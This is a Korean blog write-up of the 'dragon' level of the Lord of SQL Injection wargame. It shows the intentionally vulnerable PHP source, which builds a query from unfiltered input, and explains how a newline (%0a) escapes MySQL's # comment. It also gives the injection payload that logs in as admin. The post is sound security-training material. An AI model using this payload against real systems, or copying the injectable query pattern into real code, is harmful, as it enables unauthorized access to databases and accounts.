Tyojong

[LOS] dragon 본문

web/LOS

[LOS] dragon

Tyojong 2026. 1. 30. 17:41
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_dragon where id='guest'# and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("dragon");
  highlight_file(__FILE__); 
?>

 

문제 목표

$query "select id from prob_dragon where id='guest'# and pw='{$_GET[pw]}'";

where문 id값 뒤에는 주석처리가 된다.

if($result['id'] == 'admin'solve("dragon");

id가 admin이면 문제가 해결된다.

 

문제 해결

#은 mysql에서 한 줄 주석이다. 때문에 개행을 넣으면 주석의 영향을 받지 않는다.

줄바꿈의 url 인코딩값인 %0a 입력 후 id='guest'를 무시하도록 and pw=1 을 입력하고 id가 admin이 출력 될 수 있도록 or id='admin' --+ 을 입력하면 문제가 해결된다.

?pw=%0aand pw=1 or id='admin'--+

'web > LOS' 카테고리의 다른 글

[LOS] xavis  (2) 2026.01.27
[LOS] nightmare  (0) 2026.01.07
[LOS] zombie_assassin  (0) 2025.08.14
[LOS] succubus  (0) 2025.08.13
[LOS] assassin  (2) 2025.08.12